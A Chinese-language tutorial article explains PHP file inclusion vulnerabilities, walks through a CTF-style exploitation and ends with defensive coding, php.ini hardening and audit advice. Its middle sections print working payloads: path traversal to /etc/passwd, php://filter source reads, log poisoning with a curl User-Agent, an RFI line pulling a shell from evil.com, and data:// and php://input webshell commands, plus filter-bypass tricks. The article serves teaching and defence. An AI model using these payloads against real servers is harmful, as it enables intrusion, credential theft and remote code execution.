拓十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

文件包含漏洞深度解析:从LFI/RFI原理到实战与防御

文件包含漏洞深度解析:从LFI/RFI原理到实战与防御

文件包含漏洞(File Inclusion Vulnerability)是Web安全领域非常经典的一类漏洞,尤其在PHP环境中出镜率极高。CTF里经常考,真实业务里也翻过车。简单来说,就是开发者用include/require这类函数去动态引入文件时,用户能够控制被引入的文件名,于是攻击者可以通过路径穿越、伪协议、日志投毒等方式读取敏感文件或者直接执行任意代码。这篇文章打算从原理、利用、实战、防御四个维度把这个漏洞拆开揉碎,把我实际操作过程中踩过的坑和总结的经验一并写出来,希望对做安全的、搞开发的、以及刚入门Web安全的朋友都有帮助。

1. 文件包含漏洞的根源:include机制与可控参数

1.1 一个最简单的漏洞模型

几乎所有文件包含漏洞都长成一个样子:某个参数直接拼进了文件包含函数,用户传什么,服务器就include什么。先看一段典型的脆弱代码:

<?php $page = $_GET['page']; include($page . '.php'); ?>

这看起来没什么问题,开发者想做一个简单的页面切换,访问index.php?page=about就加载about.php,访问?page=contact就加载contact.php。问题在于$page完全没有被过滤,攻击者可以直接传:

index.php?page=../../../../etc/passwd

由于PHP的include会按照相对路径去查找文件,../../../../etc/passwd经过目录穿越后直接指向系统密码文件,include语句就变成了include('../../../../etc/passwd.php')。等等,这里还有个.php后缀拼接的问题,所以很多实战场景会配合%00截断(PHP 5.3.4以下版本)或者问号截断(路径中加?让后面内容被解析为查询参数)来绕过。但这个先按下不表,后面细说。

这个模型里有两个关键点:第一,include函数本身具备读取和执行文件的能力;第二,攻击者能控制传给include的路径。两个条件凑齐,漏洞就诞生了。

1.2 为什么PHP是重灾区

其他语言也有代码包含机制,但PHP的文件包含漏洞数量远超同行,主要原因有三个。

第一个原因是PHP的include家族函数太“宽容”。include、include_once、require、require_once这四位只要给一个路径,就能把文件内容当成PHP代码解析。如果包含的是一个普通文本文件,里面只要有<?php ... ?>,同样会执行。这种“顺带执行”的特性是漏洞利用的核心。

第二个原因是PHP支持多种流包装器(stream wrapper)。除了本地文件路径,还可以用php://filter读取源码,用php://input读取POST请求体,用data://写入代码,用phar://触发反序列化。这意味着攻击面从“读取文件”直接扩张到“执行任意代码”,危害等级完全不同。

第三个原因是历史配置问题。allow_url_include在PHP 5.2之前的默认值是开启的,很多老系统升级之后也没改配置,导致远程文件包含(RFI)至今仍有存活。即便在较新的PHP版本中,allow_url_fopen默认开启,php://这类伪协议仍然不受影响,所以本地包含配合伪协议的利用方式几乎适用于所有版本。

下面这个表格列出include相关函数和关键配置的差异,方便对照:

配置项/函数作用默认状态安全影响
include / include_once包含文件,失败只发警告始终可用用户可控时产生LFI/RFI
require / require_once包含文件,失败导致致命错误始终可用同上
allow_url_fopen是否允许打开远程文件On决定能否远程包含
allow_url_include是否允许include远程文件Off(PHP5.2+)RFI利用直接依赖它
php://filter读取文件内容并做过滤无需额外开启读取任意文件源码
php://input读取原始POST请求体无需额外开启可以写入PHP代码
data://数据流包装器allow_url_include需开启直接写入PHP代码
phar://解析PHAR文件通常可用可触发反序列化

2. 利用面拆解:LFI与RFI的经典打法

2.1 本地文件包含(LFI)的读文件与GetShell

LFI最基础的用途是读任意文件。当目标系统存在LFI时,我们可以用php://filter把目标文件内容用base64输出,从而拿到源码。比如:

index.php?page=php://filter/read=convert.base64-encode/resource=config.php

为什么这里要用base64编码?因为如果直接包含一个PHP文件,PHP会把它解析执行,页面上不会展示原始代码。而经过base64过滤后,文件内容作为纯文本输出到前端,我们拿到一串base64字符串再解码,源码就到手了。这在审计阶段特别好使,能直接找出数据库密码、API密钥等敏感信息。

除了解源码,LFI还经常配合信息泄露文件读系统数据:

index.php?page=../../../../etc/passwd index.php?page=../../../../proc/self/environ index.php?page=../../../../proc/self/cmdline

/proc/self/environ在某些环境里会把环境变量直接打出来,如果Web服务以root运行(虽然不建议),甚至能从环境变量或进程信息里摸到部署密钥。需要提醒的是,很多现代系统里/proc/self/environ由于权限限制已经读不到了,不要死磕。

那么LFI能不能直接GetShell?有两条经典路:

一条是「日志投毒」。Apache的访问日志会记录User-Agent,如果我们用Burp把请求头里的User-Agent改成<?php system($_GET['cmd']); ?>,然后访问一个不存在的路径让它记录到access.log,最后通过LFI包含这个日志文件,日志内容里的PHP代码就会被当成代码执行。命令类似:

curl -A "<?php system('whoami'); ?>" http://target/index.php?page=whatever curl "http://target/index.php?page=../../../../var/log/apache2/access.log&cmd=id"

要注意的是,日志文件路径在不同系统里有差异,常见的有/var/log/apache2/access.log、/var/log/nginx/access.log,而且每天可能轮转。包含之前最好先确认路径存在。另外,日志里除了User-Agent,路径参数里也会写入PHP代码,如果对方的WAF只监控请求参数,那放在User-Agent里常常能绕过。

另一条路是「临时文件包含」。PHP上传文件时会把文件保存在临时目录,文件名形如php??????,生命周期极短。如果配合条件竞争,在文件被删除之前用LFI包含它,也能执行代码。这个方法对PHP版本兼容性比较强,但成功率取决于手速和并发量,代码审计时看到LFI通常会想到它,实战中确实很看运气。

2.2 远程文件包含(RFI)与伪协议利用思路

远程文件包含要求allow_url_include=On,一旦存在,直接传一个恶意站点的地址就能让目标服务器把恶意文件拉下来执行:

index.php?page=http://evil.com/shell.txt

shell.txt内容写<?php phpinfo(); ?>就能立即验证。很多加固方案会把allow_url_include关闭,所以纯RFI没那么常见了。但伪协议这条路没有完全堵死:

  • php://input:在POST body里写<?php system('id'); ?>,请求?page=php://input,PHP会把body里的内容当作文件内容读取并执行。这个利用完全不依赖远程URL,只要求php://input可用且LFI存在。

  • data://:URL编码传入data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+,其中base64内容解码后是<?php system('id'); ?>。在PHP 5.2以后,data://是否可用也受allow_url_include影响,实测时如果data://失效,优先换php://input。

  • phar://:在多上传点场景中,先传一个图片马(文件头伪装成图片,内部包含PHAR序列化数据),然后通过?page=phar://uploads/xxx.jpg触发反序列化利用链。这条链路不只是文件包含,还牵扯到反序列化漏洞,实际攻击时往往需要几个漏洞串联。

RFI和伪协议的本质区别在于:RFI是从外部取代码执行,伪协议是把当前请求自身的数据变成“代码源”。前者依赖出网,后者依赖PHP流机制,所以后者在当前环境存活率更高。

3. 实战演练:从零开始解一道文件包含题目

3.1 环境搭建与初步探测

为了讲清楚完整过程,这里我用一个典型的CTF题环境来演示,代码大致如下:

<?php highlight_file(__FILE__); $file = $_GET['file']; if(isset($file)) { include($file); } ?>

没有后缀拼接,没有过滤,直接可控,属于最容易理解的入门题。题目源码已经高亮显示,我们直接开始探测。

第一步,访问/?file=index.php,页面没有变化,因为包含后PHP代码被解析了,但高亮当前文件本身就暴露了内容。再访问/?file=/etc/passwd,如果页面回显用户列表,说明LFI成立。

第二步,确认过滤规则。尝试/?file=php://filter/convert.base64-encode/resource=index.php,如果页面出现一长串base64字符,说明php伪协议可用,同时没有过滤冒号和斜杠。

第三步,确认能否执行代码。尝试/?file=data://text/plain,<?php phpinfo(); ?>,如果phpinfo被输出,说明allow_url_include为On,可以直接执行命令。如果失败,改用php://input。

3.2 三种解法实操记录

下面按难易程度给出三个实际的Payload和解算过程。

解法一:php://filter读源码

请求:

/?file=php://filter/read=convert.base64-encode/resource=flag.php

返回的一串base64(截取):

PD9waHAgJGZsYWcgPSAnRkxBR3s1ZjJhMWIxM2VjZDBjZGU2ZmM1...

用任意工具解码得到:

<?php $flag = 'FLAG{5f2a1b13ecd0cde6fc5...}'; ?>

这就是读源码的价值:虽然不能直接执行并输出flag,但通过读取文件内容拿到了秘密数据。实际业务审计中,我们会读配置文件、数据库连接文件、备份文件,作用完全一样。

解法二:data://协议执行命令

请求:

/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8+

这里PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8+解码后为:

<?php system($_GET['cmd']); ?>

然后在请求中附上&cmd=ls /:

/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8+&cmd=ls /

页面就会输出根目录列表。如果目标环境禁用了system,还可以换passthru、shell_exec、exec、popen等函数,最好写一个轮询函数挨个试。这道题的比赛环境允许出网,所以直接反弹Shell也能拿下,但这里不展开反弹Shell的细节。

解法三:php://input携带代码

用Burp或curl发送POST请求:

POST /?file=php://input HTTP/1.1 Host: target <?php system('cat flag.php'); ?>

注意,POST body里的原始内容会被php://input读取,include之后直接作为PHP代码执行。这个方法不依赖base64,不受URL编码干扰,实战里成功率反而最高。前提是别被Content-Type或WAF拦掉,如果设置了Content-Type: text/plain,多数环境也能读取。

3.3 利用过程中的几个关键判断

实际打题或者真实渗透时,不要只盯着Payload背,要会判断环境。

第一个判断是“这个files参数最终被拼成了什么”。像题目演示的这种最简单,直接是include($file)。但很多真实代码是include($file . '.php')这种,你需要判断要不要用?截断或%00截断。

?截断的原理是:URL中的?会被PHP解析为查询字符串起始位置,include在拼接后的路径config.php?.php,系统会尝试打开config.php而不是config.php?.php,因为?后面的内容被视为额外参数。这个技巧在PHP 5.3.4以上依然有效,但前提是allow_url_fopen为On且走的是URL方式。

%00截断只对PHP 5.3.4以下版本有效,因为C层字符串处理遇到\0会停止,但高版本PHP已经修复了。所以遇到后缀拼接,优先试?,再试多次目录穿越让路径长度溢出报错,最后再考虑%00。

第二个判断是“文件包含后是执行还是读取”。如果目标是读取任意文件,用filter;如果目标是拿到shell,优先php://input和data://;如果这两个失效,就要考虑日志投毒、会话文件包含等方法。会话文件路径通常是/tmp/sess_<session_id>,需要先拿到一个合法的session_id,然后在session里注入PHP代码,再用LFI包含它。这个思路和日志投毒一模一样,都属于“先写入后包含”。

第三个判断是“目录穿越需要几层”。很多题目里当前目录在www/html/下,读/etc/passwd需要五层甚至六层../。不要凭感觉,可以直接用一个简单的探测技巧:先传?file=../../../../etc/passwd,看回显,如果没反应就加一层,直到出现内容。如果出现的是PHP警告,那说明路径其实拼对了,只是目标文件不存在或权限不足。

4. 常见问题与排查技巧实录

4.1 为什么Payload没生效:配置、路径、编码三座大山

我在带新人时发现,文件包含漏洞的Payload失败,百分之八十不是漏洞被修复,而是踩了下面几个坑。

第一个坑是allow_url_include关闭导致data://、http://类Payload失效。判断方法很简单:先用php://filter测试,如果filter能用,说明LFI存在,但data://不能用大概率就是配置问题。这时应该改用php://input,并注意确认POST请求的Content-Type不干扰body读取。

第二个坑是相对路径与绝对路径混淆。很多新手直接传?file=/etc/passwd,这个在所有系统里都是绝对路径,并没有问题。但如果用相对路径去穿越,一定要先从报错信息里搞清楚执行目录在哪里。有时候页面会显示include(../config.php.php) failed这类警告,里面的路径就告诉了我们拼接结果。

第三个坑是编码问题。使用base64 payload时,如果忘记URL编码特殊字符,+、/、=会被服务器解析导致数据错乱。严谨的做法是先把整个payload做一次URL编码,或者在Burp的Repeater里直接粘贴原始字符串,让Burp自动编码。另外,本地测试时如果页面乱码,先检查响应头的字符集,多半是filter输出的原始二进制没被正确识别,不要误判为漏洞失效。

4.2 过滤了关键字怎么绕:一套可复用的组合拳

真实环境不会像CTF入门题那么白给,代码里常常写了黑名单,过滤php、filter、data、http等关键字。这里的绕过思路我整理成一个清单:

过滤内容常见绕过姿势适用条件
过滤php://用PHP://大小写变体,或php:/*/filter花式拼接过滤器不区分大小写;PHP在5.2以上支持嵌套路径时可用
过滤filter尝试convert.base64-encode/resource=里的关键字调整,如convert.iconv.utf-8.utf-16等服务器支持iconv流过滤器
过滤data://改用php://input或日志投毒依赖LFI和写文件能力
过滤目录穿越的../用....//绕过(...经过一次替换变回../)、URL编码二次编码服务端只做一次替换时有效
过滤特殊函数用assert、preg_replace的/e修饰符、array_map等替换system目标环境可用对应函数
过滤扩展名利用?截断或phar://的压缩包特性截断受PHP版本限制,phar不受

日志投毒本身就是一个绕过方案,因为它不要求目标代码里允许URL流,只要目标能把日志文件当作PHP包含进来。我在一次测试中遇到过代码把../全替换为空,但替换只做一次,我传....//就被还原成../,成功穿越。这种替换逻辑不严谨的过滤非常常见,值得多试几轮。

4.3 经典踩坑实录

我把以往测试中遇到的几个典型问题列出来,供大家参考。

问题一:页面回显了flag.php文件内容,但没有执行PHP标签。

这种情况通常是伪协议读源码时数据被浏览器当作HTML渲染。解决方法是右键查看源代码,或者把返回包复制出来用curl看原始响应。有时候源码里有<?短标签,而服务器短标签解析是关闭的,也会导致代码不执行。

问题二:目录穿越读不到Windows系统文件。

Windows下可以尝试读C:\Windows\win.ini、C:\boot.ini等。注意需要把反斜杠写成URL编码%5c,或者直接用正斜杠。很多在Linux下跑通的Payload换到Windows就没反应,关键是路径分隔符和盘符。

问题三:包含后出现大量警告但没有内容。

警告信息往往直接暴露真实路径,这对后续构造Payload非常有用。如果被include的文件本身不存在,但PHP只发警告,最终页面仍然会有输出,这时可以顺手把警告信息作为信息泄露的一部分利用起来。

4.4 如何判断一台服务器是否能远程包含

这个判断有个很实用的三步法。

第一步看phpinfo()输出,如果目标允许我们加载,直接搜索allow_url_include和allow_url_fopen。第二部在没有phpinfo的情况下,用data://发一个轻量探测,比如让页面输出PK,能输出说明支持。第三步,如果data无法用,可以尝试包含一个外网URL的静态资源,比如传?file=http://example.com/robots.txt,如果页面返回robots内容,说明远程包含链路是通的。但这里要强调,实际攻击时这个外网地址必须是我们自己的可控地址,否则请求会泄露给第三方,不道德也不严谨。

5. 防御方案与代码审计思路

5.1 代码层最有效的几种姿势

第一招:白名单映射。

不要直接让用户输入文件名,而是用一个固定数组做键值映射:

<?php $allowedPages = [ 'home' => 'home.php', 'about' => 'about.php', 'contact' => 'contact.php', ]; $page = $_GET['page']; if (isset($allowedPages[$page])) { include($allowedPages[$page]); } else { include('error.php'); } ?>

这种写法能从根上杜绝路径控制,是最推荐的方案。哪怕是白名单判断里用了in_array,也要注意严格比较,防止0 == 'home'这类弱类型绕过。

第二招:路径规范化校验。

如果你实在要动态拼接路径,也应该用realpath把路径转换成绝对路径,再确认它是否在以业务代码根目录为起点的白名单范围内。示例:

<?php $baseDir = '/var/www/html/'; $file = realpath($baseDir . $_GET['page']); if ($file && strpos($file, $baseDir) === 0) { include($file); } else { die('Invalid file'); } ?>

这里有个细节:realpath要求目标文件必须存在,所以配合文件存在性检测时要留意。另外strpos判断必须用===全等,否则$file起始位置是0时会被误判。

第三招:关闭危险功能。

PHP代码里过滤伪协议并不容易,因为filter和各种参数变体太多。但可以在配置层面禁止危险流包装器,或者部署时使用disable_functions临时限制system、exec等命令执行函数。文件包含漏洞一旦被利用,后面的命令执行函数如果也被限制,攻击者就没那么舒服了。

5.2 配置层加固清单

在php.ini里,至少要把这几项设置确认到位:

allow_url_fopen = Off allow_url_include = Off display_errors = Off log_errors = On

allow_url_fopen关闭会影响很多正常业务,比如远程读头像、定时拉取数据等,所以不少团队不敢直接关。那么退而求其次,至少保证allow_url_include是关闭的,同时把display_errors关掉,避免给攻击者提供路径线索。

如果是nginx/apache部署,别忘了日志文件权限,Web进程用户尽量使用低权限账号,不要用root。即使日志被包含,低权限情况下攻击者的操作空间会大幅缩窄。

5.3 代码审计时如何快速定位高危点

做代码审计时,我一般先全局搜索包含函数:

grep -rn "include\|include_once\|require\|require_once" /var/www/html --include="*.php"

然后逐个看函数的第一个参数是否可能被用户输入控制。重点关注变量名里带page、file、path、template、language、lang的。常见的高危写法有:

include("templates/" . $_GET['page']); require_once $_REQUEST['module'] . ".php";

看到这类代码,再看看入口处有没有过滤,然后对比程序里是否已经引入了安全函数。如果没有,基本就可以确定存在文件包含漏洞。

另外,代码审计时还要注意二次封装函数,比如:

function loadTemplate($tpl) { include($tpl); } $param = $_GET['tpl']; loadTemplate($param);

这种间接调用的隐患容易被忽略。最稳妥的做法是给所有进入include的变量统一打标记,凡是用户可控且最终流向了文件包含函数,都要重点排查。

5.4 从漏洞到修复的完整复盘

我这里分享一个实战修复案例。早期一个项目里有个下载预览功能,直接读文件名参数去include模板,导致LFI。攻击者通过php://filter读到了数据库配置,还尝试日志投毒。

修复时我们做了三层:第一层在入口处对参数做白名单校验,只允许预置的模板名列表;第二层把php.ini里的allow_url_include强制设为Off,并删除了phpinfo输出页面;第三层增加WAF规则,对php://、file://、data://等协议关键字进行拦截。修复之后又做了一次复测,用之前的Payload全部失效,达到了预期效果。

这次事件给我的最大感受是:单点修复不如纵深防御。白名单解决了漏洞本身,配置加固减少漏洞被利用后的影响,WAF是最后一道兜底。这三层都有可能在某一层被绕过,但全部绕过的难度已经大幅上升。

6. 从入门到进阶的一点个人体会

文件包含漏洞之所以经典,是因为它横跨了代码审计、系统知识、PHP底层机制、安全配置等多个领域。搞懂它,不光是会打几个Payload,更重要的是理解了一个核心逻辑:数据与代码的边界如果被打破,服务器就会把攻击者输入当成程序本身来执行。

我建议新手不要只看Payload速查表,最好自己搭一个测试环境,从最简单的?page=...开始,逐个尝试php://filter、php://input、data://、日志投毒、phar反序列化,观察每次请求背后的差异。只有亲手踩了“data协议没反应是因为allow_url_include关闭”“日志投毒失败是因为日志轮转路径变了”这种坑,才算真正掌握。

最后分享一个我自己常用的快速判断技巧:看到一个文件包含点,先别急着打大Payload,第一步永远是用filter读当前文件的源码,确认过滤规则和代码逻辑。因为源码会告诉你后面有什么魔鬼,也可能让你发现一个比预期更严重的漏洞。磨刀不误砍柴工,这个习惯帮我解决了很多看似无解的目标。

返回列表